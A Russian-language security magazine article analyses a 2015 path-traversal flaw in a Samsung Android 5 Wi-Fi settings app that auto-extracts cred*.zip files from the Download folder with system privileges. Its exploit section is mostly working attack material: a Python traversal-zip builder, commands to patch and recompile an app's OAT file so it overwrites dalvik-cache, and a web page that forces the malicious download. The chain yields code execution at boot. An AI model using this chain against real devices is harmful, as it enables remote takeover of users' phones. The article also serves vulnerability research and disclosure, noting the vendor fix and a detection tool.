Содержание статьи

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 12 ноября 2015 года
Автор: Google’s Project Zero team, Quarkslab
CVE: N/A

В устройствах Samsung, использующих Android 5, есть Android-приложение, которое наблюдает за файловыми операциями в директории /sdcard/Download/. Для этого используется FileObserver, механизм, основанный на уведомлениях. Когда имя файла начинается с cred, заканчивается на .zip и находится в указанной выше директории, то вызывается unzip для этого архива. После успешного завершения процесса разархивации сам архив удаляется. Unzip извлекает файлы из cred[something].zip в /data/bundle/.

При этом нет никакой проверки имен извлекаемых файлов, что позволяет нам создать файл, начинающийся, к примеру, с ../, который запишется вне директории /data/bundle/. В итоге атакующий может записать произвольные данные в любое место в системе, имея права доступа system. Помимо этого, путь /sdcard/Download является директорией по умолчанию для Google Chrome и встроенного браузера, по тому же пути сохраняются и вложения из писем в Gmail, так что получаем еще и возможность удаленного выполнения кода на устройстве.

Разберем уязвимость подробнее. В качестве тестового устройства возьмем Samsung Galaxy S6.

Уязвимый код находится в приложении Hs20Settings.apk. Оно регистрирует BroadcastReceiver с именем WifiHs20BroadcastReceiver, который выполняется при загрузке и при различных Wi-Fi-событиях (android.net.wifi.STATE_CHANGE).

Отмечу, что уязвимый код может находиться где угодно на разных устройствах Samsung. К примеру, в Samsung Galaxy S5 он находится в приложении SecSettings.apk.

Когда BroadcastReceiver срабатывает на одном из указанных событий, то выполняется следующий код.

public void onReceive(Context context, Intent intent) {
  [...]
  String action = intent.getAction();
  [...]
  if("android.intent.action.BOOT_COMPLETED".equals(action)) {
    serviceIntent = new Intent(context, WifiHs20UtilityService.class);
    args = new Bundle();
    args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);
    serviceIntent.putExtras(args);
    context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);
  }
  [...]
}

На каждое полученное событие Intent создает сервис с именем WifiHs20UtilityService. И если попытаться найти «конструктор» этого сервиса, а именно метод onCreate(), то мы найдем процесс создания нового объекта WifiHs20CredFileObserver.

public void onCreate() {
  super.onCreate();
  Log.i("Hs20UtilService", "onCreate");
  [...]
  WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(
    this,
    Environment.getExternalStorageDirectory().toString() + "/Download/"
  );
  WifiHs20UtilityService.credFileObserver.startWatching();
  [...]
}

WifiHs20CredFileObserver определен как Java-подкласс FileObserver.

 class WifiHs20CredFileObserver extends FileObserver {

Обратимся к документации по классу FileObserver: «FileObserver — это абстрактный класс, наследуемые классы которого должны реализовывать обработчик событий onEvent(int, String). Каждый экземпляр FileObserver наблюдает за одним файлом или директорией. Если директория мониторится, то событие срабатывает для всех файлов и поддиректорий внутри нее. Маска в событиях используется, чтобы указать, какие изменения или действия были сделаны. Константы типа события в масках используются для описания возможных изменений».

Публичный конструктор должен указать путь и маску для наблюдаемых событий.

FileObserver(String path, int mask)

В нашем же случае конструктор для WifiHs20CredFileObserver.

public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {
  WifiHs20UtilityService.this = arg2;
  super(path, 0xFFF);
  this.pathToWatch = path;
}

В коде, представленном выше, FileObserver наблюдает за всеми возможными типами событий для директории /sdcard/Download/, так как маска 0xFFF является константой FileObserver.ALL_EVENTS. Чтобы понять, когда событие будет получено, рассмотрим переопределенный метод onEvent() в классе WifiHs20CredFileObserver.

public void onEvent(int event, String fileName) {
  WifiInfo wifiInfo;
  Iterator i$;
  String credInfo;
  if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName.endsWith(".zip")))) {
    Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" + event);
    if(fileName.endsWith(".conf")) {
      try {
        credInfo = this.readSdcard(this.pathToWatch + fileName);
        if(credInfo == null) {
            return;
        }

        new File(this.pathToWatch + fileName).delete();
        i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
        while(i$.hasNext()) {
            WifiHs20Timer.access$500(i$.next()).cancel();
        }

        WifiHs20UtilityService.this.expiryTimerList.clear();
        WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);
        wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
        if(!wifiInfo.isCaptivePortal()) {
            return;
        }

        if(wifiInfo.getNetworkId() == -1) {
            return;
        }

        WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.
                mWifiManager.getConnectionInfo().getNetworkId(), null);
      } catch(Exception e) {
        e.printStackTrace();
      }

      return;
    }

    if(fileName.endsWith(".zip")) {
      String zipFile = this.pathToWatch + "/cred.zip";
      String unzipLocation = "/data/bundle/";
      if(!this.installPathExists()) {
          return;
      }

      this.unzip(zipFile, unzipLocation);
      new File(zipFile).delete();
      credInfo = this.loadCred(unzipLocation);
      if(credInfo == null) {
          return;
      }

      i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
      while(i$.hasNext()) {
          WifiHs20Timer.access$500(i$.next()).cancel();
      }

      WifiHs20UtilityService.this.expiryTimerList.clear();
      Message msg = new Message();
      Bundle b = new Bundle();
      b.putString("cred", credInfo);
      msg.obj = b;
      msg.what = 42;
      WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);
      wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
      if(!wifiInfo.isCaptivePortal()) {
          return;
      }

      if(wifiInfo.getNetworkId() == -1) {
          return;
      }

      WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager.getConnectionInfo().getNetworkId(), null);
    }
  }
}

Когда мы получаем тип события, равный 8 (FileObserver.CLOSE_WRITE), срабатывают некоторые проверки для имени файла. Если имя файла начинается с cred и заканчивается на .conf или .zip, то он начинает обрабатываться. В остальных случаях FileObserver игнорирует его.

Когда интересующий файл записывается в наблюдаемую директорию, могут быть выполнены два сценария:

  • Если это conf-файл, то сервис читает его, используя readSdcard(), затем конфигурация передается в WifiManager.modifyPasspointCred(). После вызова readSdcard() файл .conf удаляется.
  • Если это zip, то сервис извлекает файлы в /data/bundle/ и вызывает loadCred() для обработки содержимого извлеченного файла cred.conf. Затем вызывается WifiManager.callSECApi() с полученным результатом из loadCred(), в виде аргумента внутри объекта Bundle. Изначальный архив zip удаляется после операции unzip.

Первый сценарий нам неинтересен, но вот второй... Операция unzip использует стандартный класс ZipInputStream, который имеет известную проблему: если отсутствует проверка имен файлов внутри архива, то можно получить обход директорий. Уязвимость схожа с одной из ранее опубликованных исследователем @fuzion24 в функции обновления приложения Samsung Keyboard.

Ниже представлен подчищенный код функции unzip(). Для читабельности были также удалены вставки try/catch.

private void unzip(String _zipFile, String _location) {
  FileInputStream fin = new FileInputStream(_zipFile);
  ZipInputStream zin = new ZipInputStream(((InputStream)fin));

  ZipEntry zentry;

  /* Проверяем, нужно ли нам создать директории ... */
  while(true) {
    label_5:
    zentry = zin.getNextEntry();
    if(zentry == null) {
        // exit
    }

    Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());
    if(!zentry.isDirectory()) {
        break;
    }
    /* Если директория не найдена, то _dirChecker создает ее */
    this._dirChecker(_location, zentry.getName());
  }

  FileOutputStream fout = new FileOutputStream(_location + zentry.getName());

  int c;
  for(c = zin.read(); c != -1; c = zin.read()) {
    if(fout != null) {
      fout.write(c);
    }
  }

  if(zin != null) {
    zin.closeEntry();
  }

  if(fout == null) {
    goto label_45;
  }

  fout.close();

label_45:
  MimeTypeMap type = MimeTypeMap.getSingleton();
  String fileName = new String(zentry.getName());
  int i = fileName.lastIndexOf(46);
  if(i <= 0) {
      goto label_5;
  }

  String v2 = fileName.substring(i + 1);
  Log.v("Hs20UtilService", "Ext" + v2);
  Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));
  goto label_5;
}

Теперь мы сами видим, что никакой проверки на обход директории нет. Таким образом, если файл cred.zip или cred[something].zip будет записан в /sdcard/Download/, WifiHs20CredFileObserver автоматически распакует содержимое в /data/bundle/ и удалит ненужный архив. И если любой распакованный файл содержит ../, то выйдет за пределы указанной директории и запишется с правами system.

Теперь разберем, как это можно превратить в выполнение кода.

 

EXPLOIT

Для начала создадим архив с произвольным именем. Воспользуемся Python.

from zipfile import ZipFile

with ZipFile("cred.zip", "w") as z:
  z.writestr("../../path/filename", open("file", "rb").read())

Так как же получить выполнение кода, если у нас есть возможность писать файлы с такими правами? Одно из решений — это переписать файлы внутри dalvik-cache. Но на Android 5 Dalvik VM больше не используется, так как была заменена на ART. Аналогично ODEX-файлам OAT-файлы генерируются из .apk с помощью пакетного менеджера, вызывающего dex2oat, и полученные файлы записываются в директорию /data/dalvik-cache/ с расширением .dex. Однако мы можем все-таки использовать этот метод для выполнения кода.

К сожалению (или нет), переписать dalvik-cache для выполнения кода в настоящее время почти невозможно. На последних ROM эта директория принадлежит пользователю root и запись в нее ограничена с помощью SELinux.

Некоторые Samsung ROM с запущенным Android 5, такие как G900FXXU1BNL9 или G900FXXU1BOB7, не содержат эти правила SELinux и поэтому уязвимы. То есть в подобных ROM директория dalvik-cache принадлежит root, но SELinux не предотвращает перезапись произвольными системными приложениями файлов в этой директории (которые принадлежат пользователю system). Мы рассмотрим только этот случай.

Нам нужно найти такое приложение для перезаписи, которое запущено также с system uid, и найти, как сгенерировать собственный OAT-файл. Поиск программы оказался непростой задачей. Важны были три детали.

  • Процесс unzip написан на Java, и распаковка побайтово будет очень медленной на больших файлах.
  • Если переписать OAT-файл запущенного приложения, то мы можем вызвать его падение. А это будет не совсем скрытно :).
  • У нас должна быть возможность выполнить код из этого приложения.

В итоге нам нужно найти небольшой файл OAT, который не используется. Идеальным кандидатом стал следующий файл:

shell@klte:/ $ ls -al /data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
-rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 system@app@AccessControl@AccessControl.apk@classes.dex

Просмотрев manifest приложения, автор смог найти одну из возможностей автозапуска, зарегистрированной с помощью BroadcastReceiver на обработку событий android.intent.action.BOOT_COMPLETED.

<manifest
  android:sharedUserId="android.uid.system"
  android:versionCode="1411172008"
  [...]
  xmlns:android="http://schemas.android.com/apk/res/android"
>
  <application
    android:debuggable="false"
    android:icon="@2130837507"
    android:label="@2131230720"
    android:supportsRtl="true"
    android:theme="@2131296256"
  >
    [...]
    <receiver
      android:exported="false"
      android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver"
    >
      <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />
      </intent-filter>
    </receiver>
    [...]
  </application>
</manifest>

В результате если мы добавим некий код внутрь метода onReceive() класса AccessControlReceiver, то наш код будет выполняться каждый раз при запуске устройства.

Давай проверим теорию. Для начала нам нужно получить оригинальный код AccessControl-приложения.

> adb pull /system/app/AccessControl/arm/ .
pull: building file list...
pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz
pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz
2 files pulled. 0 files skipped.
273 KB/s (72428 bytes in 0.258s)
> ls
AccessControl.odex.art.xz  AccessControl.odex.xz
> xz -d *
> file *
AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
AccessControl.odex.art: data

В итоге получаем файл ART ELF (OAT), но мы хотим модифицировать байткод Dalvik. Можем вытащить соответствующий байткод Dalvik с помощью утилиты oat2dex.

> python oat2dex.py /tmp/art/AccessControl.odex
Processing '/tmp/art/AccessControl.odex'
Found DEX signature at offset 0x2004
Got DEX size: 0xe944
Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'
> file *
[...]
AccessControl.odex.0x2004.dex: Dalvik dex file version 035
[...]
> baksmali AccessControl.odex.0x2004.dex -o smali

Пропатчим AccessControlReceiver, добавив собственный код в метод onReceive().

> find smali/ -iname '*receiver*'
smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
> vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
[...]
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
  .registers 10

+  # adding the following code:
+  const-string v0, "sh4ka"
+  const-string v1, "boom!"
+  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I
[...]
> smali smali/ -o classes.dex

Для перекомпилирования исправленного кода обратно в OAT воспользуемся утилитой dex2oat.

> adb pull /system/app/AccessControl/AccessControl.apk .
1462 KB/s (259095 bytes in 0.173s)
> sudo chattr +i AccessControl.apk
> cp AccessControl.apk Modded.apk
> zip -q Modded.apk classes.dex
> python -c 'print len("/system/app/AccessControl/AccessControl.apk")'
43
> python -c 'print 43-len("/data/local/tmp/Modded.apk")'
17
> mv Modded.apk Modded$(python -c 'print "1"*17').apk
> ls
AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali
> adb push Modded11111111111111111.apk /data/local/tmp
1144 KB/s (284328 bytes in 0.242s)
> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat
> adb pull /data/local/tmp/modified.oat .
1208 KB/s (172464 bytes in 0.139s)
> file modified.oat
modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
> sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat

Теперь можем сделать атакующий архив.

> cat injectzip.py
import sys
from zipfile import ZipFile

with ZipFile("cred.zip","w") as z:
  z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())
> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex /tmp/art/modified.oat
> zipinfo cred.zip
Archive:  cred.zip
Zip file size: 172750 bytes, number of entries: 1
?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%

Получаем три разных вектора атаки:

  • посещения веб-страницы с помощью браузера;
  • загрузка вложения из письма в приложении Gmail;
  • установка вредоносного приложения без прав.

Пример атаки с помощью веб-страницы:

<html>
  <head>
    <script type="text/javascript">
      document.location="/cred.zip";
    </script>
  </head>
  <body></body>
</html>

После открытия страницы перезагрузим устройство и удостоверимся в наличии проверочной строки.

> adb reboot; adb logcat sh4ka:V *:S
- waiting for device -
--------- beginning of system
--------- beginning of main
F/sh4ka   ( 3613): boom!

Оригинальную статью ты можешь прочитать в блоге компании Quarkslab.

 

TARGETS

Устройства Samsung с ОС Android 5.

Для проверки устройства советую воспользоваться утилитой команды Nowsecure — Android Vulnerability Test Suite (Android VTS), которую можно использовать не только для обнаружения этой уязвимости. Ее исходники опубликованы на GitHub, поэтому при желании можешь изучить поближе.

Проверка устройства на наличие уязвимостей с помощью Android VTS
Проверка устройства на наличие уязвимостей с помощью Android VTS
 

SOLUTION

Есть исправление от производителя.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии